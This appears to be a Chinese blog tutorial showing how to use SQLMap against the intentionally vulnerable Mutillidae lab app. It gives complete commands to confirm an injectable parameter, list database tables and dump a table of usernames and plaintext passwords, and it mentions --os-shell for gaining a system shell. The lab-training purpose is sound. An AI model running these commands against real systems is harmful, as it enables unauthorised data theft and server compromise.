08 漏洞利用:使用SQLMap識別并利用SQL注入漏洞

正如前文描述的一樣,SQL 注入是一個繁瑣的過程。SQLMap這個命令行工具,能通過多找那個技術手段,自動化的識別和利用多種數據庫的SQL注入漏洞

下面,使用SQLMap識別和利用一個SQL注入漏洞,并最終獲取該應用的用戶名和密碼

實踐

  1. 訪問靶機應用:
    http://192.168.150.143/mutillidae

  2. 跳轉到 OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info


    Paste_Image.png
  3. 輸入任意用戶名和密碼,如(user/password),然后點擊** View Account Details**


    Paste_Image.png
  4. 登陸失敗,但請注意URL,里面包含登陸參數,拷貝完整URL

  5. 下面,在命令行輸入以下命令:

sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=user&password=password&user-info-php-submit-button=View+Account+Details" -p username --current-user --current-db
Paste_Image.png
  1. 如圖,sqlmap檢測到應用所使用的DBMS,會詢問是否跳過檢測其他DBMS,這里,輸入 Y 跳過檢測其它數據庫,輸入 N 包含所有檢測
  2. 一旦我們指定的參數被檢出存在注入漏洞,SQLMap會詢問是否檢測其他參數,這里我們選擇 N


    Paste_Image.png

    Paste_Image.png
  3. 確認注入點后,我們執行下面的命令,獲取目標庫中的所有表格:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp --tables
Paste_Image.png

SQLMap會將掃描過的結果報錯到日志中,所以第二次攻擊的掃描時間較第一次短了很多。這條命令指定了數據庫,并告知SQLMap返回這個庫的所有表名

  1. 如圖,accounts表,就是包含我們需要信息的表,查看下其中的內容:
sqlmap -u "http://192.168.150.143/mutillidae/index.php?page=user-info.php&username=test&password=test&user-info-php-submit-button=View+Account+Details" -p username -D nowasp -T accounts --dump
Paste_Image.png

如圖,是所有用戶的用戶名和密碼,其中,密碼是明文存儲的,我們可以直接使用

總結

SQLMap 會嘗試所有可能的輸入到給出的URL和data,如果使用 -p 參數指定參數,則只會對指定的參數進行注入測試。實際操作,盡量不要fuzz所有的輸入,盡可能提供詳細的信息(漏洞參數、DBMS類型等)來縮減搜索過程。如果全部都掃描的話,既浪費時間,又浪費網絡帶寬

上文中,我們已經知道username參數是注入點,第一次攻擊,確認該注入點,獲取基礎信息:

  • user name (--curent-user)
  • database name (--current-db)

第二次攻擊,-D 參數指定了要查詢的數據庫,--tables 參數列出了庫中所有表格名稱

確定了要脫的表格,使用參數 (-T accounts)指定表,使用參數 --dump 指定操作類型,獲取指定表格內容

除了GET請求,SQLMap也能處理POST請求中的參數,使用參數 --data 后跟 POST data(雙引號括起來):

--data "username=test&password=test"

有些URL需要訪問權限,因此,可以通過添加cookie的方式,使用 --cookie參數,指定一個有效的會話cookie:

--cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37"

這個功能也可以用來測試cookie注入點的情況

另一個強大的功能,使用參數 --sql-shell,SQLMap可以給我們提供一個SQL shell,我們可以在shell里直接執行查詢語句, 更牛逼的是,可以使用 --os-shell 參數獲取系統shell,執行database服務器系統級別的命令(這個功能尤其適合 Microsoft SQL Server)

更詳細的信息,記得參考官方幫助:

sqlmap --help
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容